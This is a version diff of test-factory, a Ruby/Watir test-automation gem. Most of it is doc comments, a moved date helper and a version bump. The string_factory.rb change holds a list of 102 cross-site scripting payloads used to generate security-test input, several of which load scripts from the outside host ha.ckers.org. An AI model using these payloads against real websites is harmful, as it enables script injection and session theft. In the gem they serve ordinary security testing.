test-factory 0.0.4 → 0.0.5
Sign up to get free protection for your applications and to get access to all the features.
- data/Gemfile.lock +1 -1
- data/lib/test-factory/date_factory.rb +26 -26
- data/lib/test-factory/gem_ext.rb +8 -0
- data/lib/test-factory/page_factory.rb +10 -2
- data/lib/test-factory/string_factory.rb +5 -17
- data/test-factory.gemspec +1 -1
- metadata +1 -1
data/Gemfile.lock
CHANGED
@@ -3,6 +3,32 @@ module DateFactory
|
|
3
3
|
|
4
4
|
MONTHS = %w{JAN FEB MAR APR MAY JUN JUL AUG SEP OCT NOV DEC}
|
5
5
|
|
6
|
+
# Takes a time object and returns a hash containing
|
7
|
+
# various parts of the relevant date.
|
8
|
+
# @param time_object [Time] the moment you want to convert
|
9
|
+
# @returns [Hash] a hash object containing various parts of the date/time you passed to the method
|
10
|
+
def date_factory(time_object)
|
11
|
+
{
|
12
|
+
:sakai=>make_date(time_object),
|
13
|
+
:sakai_rounded=>make_date(time_object).gsub!(/:\d+/, ":#{Time.at(time_object.to_i/(5*60)*(5*60)).strftime("%M")}"), # Date with time rounded to nearest 5-minute mark.
|
14
|
+
:short_date=>time_object.strftime("%b %-d, %Y"), # => "Oct 18, 2013"
|
15
|
+
:samigo=>time_object.strftime("%m/%d/%Y %I:%M:%S %p"), # => "10/30/2012 07:02:05 AM"
|
16
|
+
:MON => time_object.strftime("%^b"), # => "DEC"
|
17
|
+
:Mon => time_object.strftime("%b"), # => "Jan"
|
18
|
+
:Month => time_object.strftime("%B"), # => "February"
|
19
|
+
:month_int => time_object.month, # => 3
|
20
|
+
:day_of_month => time_object.day, # => 17 Note this is not zero-padded
|
21
|
+
:weekday => time_object.strftime("%A"), # => "Monday"
|
22
|
+
:wkdy => time_object.strftime("%a"), # => "Tue"
|
23
|
+
:year => time_object.year, # => 2013
|
24
|
+
:hour => time_object.strftime("%I").to_i, # => "07" Zero-padded, 12-hour clock
|
25
|
+
:minute => (time_object).strftime("%M"), # => "02" Zero-padded
|
26
|
+
:minute_rounded => (Time.at(time_object.to_i/(5*60)*(5*60))).strftime("%M"), # => "05" Zero-padded, rounded to 5-minute increments
|
27
|
+
:meridian => time_object.strftime("%P"), # => "pm"
|
28
|
+
:MERIDIAN => time_object.strftime("%p") # => "AM"
|
29
|
+
}
|
30
|
+
end
|
31
|
+
|
6
32
|
def an_hour_ago
|
7
33
|
date_factory(Time.now - 3600)
|
8
34
|
end
|
@@ -108,30 +134,4 @@ module DateFactory
|
|
108
134
|
return month + day + year + hour.to_s + mins
|
109
135
|
end
|
110
136
|
|
111
|
-
# Takes a time object and returns a hash containing
|
112
|
-
# various parts of the relevant date.
|
113
|
-
# @param time_object [Time] the moment you want to convert
|
114
|
-
# @returns [Hash] a hash object containing various parts of the date/time you passed to the method
|
115
|
-
def date_factory(time_object)
|
116
|
-
{
|
117
|
-
:sakai=>make_date(time_object),
|
118
|
-
:sakai_rounded=>make_date(time_object).gsub!(/:\d+/, ":#{Time.at(time_object.to_i/(5*60)*(5*60)).strftime("%M")}"), # Date with time rounded to nearest 5-minute mark.
|
119
|
-
:short_date=>time_object.strftime("%b %-d, %Y"), # => "Oct 18, 2013"
|
120
|
-
:samigo=>time_object.strftime("%m/%d/%Y %I:%M:%S %p"), # => "10/30/2012 07:02:05 AM"
|
121
|
-
:MON => time_object.strftime("%^b"), # => "DEC"
|
122
|
-
:Mon => time_object.strftime("%b"), # => "Jan"
|
123
|
-
:Month => time_object.strftime("%B"), # => "February"
|
124
|
-
:month_int => time_object.month, # => 3
|
125
|
-
:day_of_month => time_object.day, # => 17 Note this is not zero-padded
|
126
|
-
:weekday => time_object.strftime("%A"), # => "Monday"
|
127
|
-
:wkdy => time_object.strftime("%a"), # => "Tue"
|
128
|
-
:year => time_object.year, # => 2013
|
129
|
-
:hour => time_object.strftime("%I").to_i, # => "07" Zero-padded, 12-hour clock
|
130
|
-
:minute => (time_object).strftime("%M"), # => "02" Zero-padded
|
131
|
-
:minute_rounded => (Time.at(time_object.to_i/(5*60)*(5*60))).strftime("%M"), # => "05" Zero-padded, rounded to 5-minute increments
|
132
|
-
:meridian => time_object.strftime("%P"), # => "pm"
|
133
|
-
:MERIDIAN => time_object.strftime("%p") # => "AM"
|
134
|
-
}
|
135
|
-
end
|
136
|
-
|
137
137
|
end
|
data/lib/test-factory/gem_ext.rb
CHANGED
@@ -1,6 +1,10 @@
|
|
1
1
|
module Watir
|
2
2
|
module UserEditable
|
3
3
|
|
4
|
+
# Extends Watir's methods.
|
5
|
+
# Use when the argument you are passing to a text field
|
6
|
+
# may be nil, in which case you don't
|
7
|
+
# want to do anything with the page element.
|
4
8
|
def fit(*args)
|
5
9
|
unless args==nil
|
6
10
|
assert_exists
|
@@ -13,6 +17,10 @@ module Watir
|
|
13
17
|
end
|
14
18
|
|
15
19
|
class Select
|
20
|
+
# Extends Watir's methods.
|
21
|
+
# Use when the argument you are passing to a text field
|
22
|
+
# may be nil, in which case you don't
|
23
|
+
# want to do anything with the page element.
|
16
24
|
def fit(str_or_rx)
|
17
25
|
select_by :text, str_or_rx unless str_or_rx==nil
|
18
26
|
end
|
@@ -13,18 +13,25 @@ class PageFactory
|
|
13
13
|
|
14
14
|
class << self
|
15
15
|
|
16
|
+
# Define this in a page class and when you use the "visit" method to instantiate the class
|
17
|
+
# it will enter the URL the browser's address bar.
|
16
18
|
def page_url url
|
17
19
|
define_method 'goto' do
|
18
20
|
@browser.goto url
|
19
21
|
end
|
20
22
|
end
|
21
23
|
|
24
|
+
# Define this in a page class and when that class is instantiated it will wait until that
|
25
|
+
# element appears on the page before continuing with the script.
|
22
26
|
def expected_element element_name, timeout=30
|
23
27
|
define_method 'expected_element' do
|
24
28
|
self.send(element_name).wait_until_present timeout
|
25
29
|
end
|
26
30
|
end
|
27
31
|
|
32
|
+
# Define this in a page class and when the class is instantiated it will verify that
|
33
|
+
# the browser's title matches the expected title. If there isn't a match, it raises an
|
34
|
+
# error and halts the script.
|
28
35
|
def expected_title expected_title
|
29
36
|
define_method 'has_expected_title?' do
|
30
37
|
has_expected_title = expected_title.kind_of?(Regexp) ? expected_title =~ @browser.title : expected_title == @browser.title
|
@@ -32,6 +39,8 @@ class PageFactory
|
|
32
39
|
end
|
33
40
|
end
|
34
41
|
|
42
|
+
# The basic building block of the page object classes.
|
43
|
+
# Use in conjunction with Watir to define all elements on a given page that are important to validate.
|
35
44
|
def element element_name
|
36
45
|
raise "#{element_name} is being defined twice in #{self}!" if self.instance_methods.include?(element_name.to_sym)
|
37
46
|
define_method element_name.to_s do
|
@@ -39,14 +48,13 @@ class PageFactory
|
|
39
48
|
end
|
40
49
|
end
|
41
50
|
alias :value :element
|
42
|
-
alias :thing :element
|
43
51
|
|
52
|
+
# The basic building block for interacting with elements on a page, such as links and buttons.
|
44
53
|
def action method_name, &block
|
45
54
|
define_method method_name.to_s do |*thing|
|
46
55
|
Proc.new(&block).call *thing, self
|
47
56
|
end
|
48
57
|
end
|
49
|
-
alias :pgmd :action
|
50
58
|
|
51
59
|
end
|
52
60
|
|
@@ -74,8 +74,7 @@ module StringFactory
|
|
74
74
|
#
|
75
75
|
# @param word_count [Integer] The count of "words" in the string, separated by spaces or line feeds. If no parameters are provided, the method will return two alphanumeric "words" on two lines.
|
76
76
|
# @param line_count [Integer] The count of line feeds that will be randomly placed throughout the string
|
77
|
-
# @param char_type [:symbol] Determines the character content
|
78
|
-
# of the string.
|
77
|
+
# @param char_type [:symbol] Determines the character content of the string.
|
79
78
|
#
|
80
79
|
# @example
|
81
80
|
#
|
@@ -106,23 +105,12 @@ module StringFactory
|
|
106
105
|
#
|
107
106
|
# The strings are organized by length, with the shorter ones
|
108
107
|
# first. There are 102 strings.
|
108
|
+
# @param number [Integer] Should be a number between 1 and 102
|
109
109
|
def random_xss_string(number=102)
|
110
|
-
|
111
|
-
number = 102
|
112
|
-
end
|
110
|
+
number > 102 ? number = 102 : number
|
113
111
|
xss = ["<PLAINTEXT>", "\\\";alert('XSS');//", "'';!--\"<XSS>=&{()}", "<IMG SRC=\"mocha:alert('XSS')\">", "<BODY ONLOAD=alert('XSS')>", "<BODY ONLOAD =alert('XSS')>", "<BR SIZE=\"&{alert('XSS')}\">", "¼script¾alert(¢XSS¢)¼/script¾", "<IMG SRC=\"livescript:alert('XSS')\">", "<SCRIPT SRC=//ha.ckers.org/.j>", "<IMG SRC=javascript:alert('XSS')>", "<IMG SRC=JaVaScRiPt:alert('XSS')>", "<<SCRIPT>alert(\"XSS\");//<</SCRIPT>", "<IMG SRC=\"javascript:alert('XSS')\"", "<IMG SRC='vbscript:msgbox(\"XSS\")'>", "<A HREF=\"http://1113982867/\">XSS</A>", "<IMG SRC=\"javascript:alert('XSS');\">", "<IMG SRC=\"jav\tascript:alert('XSS');\">", "<XSS STYLE=\"behavior: url(xss.htc);\">", "</TITLE><SCRIPT>alert(\"XSS\");</SCRIPT>", "<IMG DYNSRC=\"javascript:alert('XSS')\">", "<A HREF=\"http://66.102.7.147/\">XSS</A>", "<IMG LOWSRC=\"javascript:alert('XSS')\">", "<BGSOUND SRC=\"javascript:alert('XSS');\">", "<BASE HREF=\"javascript:alert('XSS');//\">", "<IMG \"\"\"><SCRIPT>alert(\"XSS\")</SCRIPT>\">", "<SCRIPT>a=/XSS/ alert(a.source)</SCRIPT>", "<IMG SRC=\"jav
ascript:alert('XSS');\">", "<IMG SRC=\"jav
ascript:alert('XSS');\">", "<XSS STYLE=\"xss:expression(alert('XSS'))\">", "<IMG SRC=\"jav	ascript:alert('XSS');\">", "<SCRIPT SRC=http://ha.ckers.org/xss.js?<B>", "<IMG SRC=\"  javascript:alert('XSS');\">", "<IMG SRC=javascript:alert("XSS")>", "<BODY BACKGROUND=\"javascript:alert('XSS')\">", "<TABLE BACKGROUND=\"javascript:alert('XSS')\">", "<DIV STYLE=\"width: expression(alert('XSS'));\">", "<TABLE><TD BACKGROUND=\"javascript:alert('XSS')\">", "<iframe src=http://ha.ckers.org/scriptlet.html <", "<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>", "<IFRAME SRC=\"javascript:alert('XSS');\"></IFRAME>", "<A HREF=\"http://0x42.0x0000066.0x7.0x93/\">XSS</A>", "<IMG STYLE=\"xss:expr/*XSS*/ession(alert('XSS'))\">", "<A HREF=\"http://0102.0146.0007.00000223/\">XSS</A>", "<IMG SRC=`javascript:alert(\"RSnake says, 'XSS'\")`>", "<SCRIPT/SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>", "<SCRIPT SRC=\"http://ha.ckers.org/xss.jpg\"></SCRIPT>", "<STYLE TYPE=\"text/javascript\">alert('XSS');</STYLE>", "<BODY onload!\#$%&()*~+-_.,:;?@[/|\\]^`=alert(\"XSS\")>", "<INPUT TYPE=\"IMAGE\" SRC=\"javascript:alert('XSS');\">", "<STYLE>@im\\port'\\ja\\vasc\\ript:alert(\"XSS\")';</STYLE>", "<STYLE>@import'http://ha.ckers.org/xss.css';</STYLE>", "<SCRIPT/XSS SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>", "<? echo('<SCR)'; echo('IPT>alert(\"XSS\")</SCRIPT>'); ?>", "<SCRIPT =\">\" SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>", "<LINK REL=\"stylesheet\" HREF=\"javascript:alert('XSS');\">", "<SCRIPT a=`>` SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>", "<SCRIPT a=\">\" SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>", "<LAYER SRC=\"http://ha.ckers.org/scriptlet.html\"></LAYER>", "<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>", "<SCRIPT \"a='>'\" SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>", "<LINK REL=\"stylesheet\" HREF=\"http://ha.ckers.org/xss.css\">", "<SCRIPT a=\">'>\" SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>", "<SCRIPT a=\">\" '' SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>", "<FRAMESET><FRAME SRC=\"javascript:alert('XSS');\"></FRAMESET>", "<DIV STYLE=\"background-image: url(javascript:alert('XSS'))\">", "perl -e 'print \"<SCR\\0IPT>alert(\\\"XSS\\\")</SCR\\0IPT>\";' > out", "<IMG SRC = \" j a v a s c r i p t : a l e r t ( ' X S S ' ) \" >", "Redirect 302 /a.jpg http://www.rsmart.com/admin.asp&deleteuser", "perl -e 'print \"<IMG SRC=java\\0script:alert(\\\"XSS\\\")>\";' > out", "<!--[if gte IE 4]> <SCRIPT>alert('XSS');</SCRIPT> <![endif]-->", "<DIV STYLE=\"background-image: url(javascript:alert('XSS'))\">", "<A HREF=\"http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D\">XSS</A>", "<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=javascript:alert('XSS');\">", "a=\"get\"; b=\"URL(\\\"\"; c=\"javascript:\"; d=\"alert('XSS');\\\")\"; eval(a+b+c+d);", "<STYLE>BODY{-moz-binding:url(\"http://ha.ckers.org/xssmoz.xml#xss\")}</STYLE>", "<EMBED SRC=\"http://ha.ckers.org/xss.swf\" AllowScriptAccess=\"always\"></EMBED>", "<STYLE type=\"text/css\">BODY{background:url(\"javascript:alert('XSS')\")}</STYLE>", "<STYLE>li {list-style-image: url(\"javascript:alert('XSS')\");}</STYLE><UL><LI>XSS", "<META HTTP-EQUIV=\"Link\" Content=\"<http://ha.ckers.org/xss.css>; REL=stylesheet\">", "<META HTTP-EQUIV=\"refresh\" CONTENT=\"0; URL=http://;URL=javascript:alert('XSS');\">", "<OBJECT TYPE=\"text/x-scriptlet\" DATA=\"http://ha.ckers.org/scriptlet.html\"></OBJECT>", "<SCRIPT>document.write(\"<SCRI\");</SCRIPT>PT SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>", "<STYLE>.XSS{background-image:url(\"javascript:alert('XSS')\");}</STYLE><A CLASS=XSS></A>", "<XML SRC=\"xsstest.xml\" ID=I></XML> <SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>", "<META HTTP-EQUIV=\"Set-Cookie\" Content=\"USERID=<SCRIPT>alert('XSS')</SCRIPT>\">", "exp/*<A STYLE='no\\xss:noxss(\"*//*\"); xss:ex/*XSS*//*/*/pression(alert(\"XSS\"))'>", "<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K\">", "<!--#exec cmd=\"/bin/echo '<SCR'\"--><!--#exec cmd=\"/bin/echo 'IPT SRC=http://ha.ckers.org/xss.js></SCRIPT>'\"-->", "<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert('XSS')></OBJECT>", "<HTML xmlns:xss> <?import namespace=\"xss\" implementation=\"http://ha.ckers.org/xss.htc\"> <xss:xss>XSS</xss:xss> </HTML>", "<IMG SRC=javascript:alert('XSS')>", "<HEAD><META HTTP-EQUIV=\"CONTENT-TYPE\" CONTENT=\"text/html; charset=UTF-7\"> </HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-", "<IMG SRC=javascript:alert('XSS')>", "<XML ID=I><X><C><![CDATA[<IMG SRC=\"javas]]><![CDATA[cript:alert('XSS');\">]]> </C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>", "<XML ID=\"xss\"><I><B><IMG SRC=\"javas<!-- -->cript:alert('XSS')\"></B></I></XML> <SPAN DATASRC=\"#xss\" DATAFLD=\"B\" DATAFORMATAS=\"HTML\"></SPAN>", "<DIV STYLE=\"background-image:\\0075\\0072\\006C\\0028'\\006a\\0061\\0076\\0061\\0073\\0063\\0072\\0069\\0070\\0074\\003a\\0061\\006c\\0065\\0072\\0074\\0028.1027\\0058.1053\\0053\\0027\\0029'\\0029\">", "<IMG SRC=javascript:alert('XSS')>", "';alert(String.fromCharCode(88,83,83))//\\';alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//\\\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>\">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>", "<HTML><BODY> <?xml:namespace prefix=\"t\" ns=\"urn:schemas-microsoft-com:time\"> <?import namespace=\"t\" implementation=\"#default#time2\"> <t:set attributeName=\"innerHTML\" to=\"XSS<SCRIPT DEFER>alert("XSS")</SCRIPT>\"> </BODY></HTML>", "<EMBED SRC=\"data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==\" type=\"image/svg+xml\" AllowScriptAccess=\"always\"></EMBED>"]
|
114
|
-
|
115
|
-
|
116
|
-
when 0
|
117
|
-
return xss[rand(number)]
|
118
|
-
when 1
|
119
|
-
return %|"| + xss[rand(number)]
|
120
|
-
when 2
|
121
|
-
return %|">| + xss[rand(number)]
|
122
|
-
when 3
|
123
|
-
return %|>| + xss[rand(number)]
|
124
|
-
end
|
125
|
-
|
112
|
+
prepend=[ %|"|, %||, %|">|, %|>| ]
|
113
|
+
"#{prepend[rand(prepend.length)]} #{xss[rand(number)]}"
|
126
114
|
end
|
127
115
|
|
128
116
|
# Returns a random hex string that matches an HTML color value.
|
data/test-factory.gemspec
CHANGED
@@ -1,6 +1,6 @@
|
|
1
1
|
spec = Gem::Specification.new do |s|
|
2
2
|
s.name = 'test-factory'
|
3
|
-
s.version = '0.0.
|
3
|
+
s.version = '0.0.5'
|
4
4
|
s.summary = %q{rSmart's framework for creating automated testing scripts}
|
5
5
|
s.description = %q{This gem provides a set of modules and methods to help quickly and DRYly create a test automation framework using Ruby and Watir (or watir-webdriver).}
|
6
6
|
s.files = Dir.glob("**/**/**")
|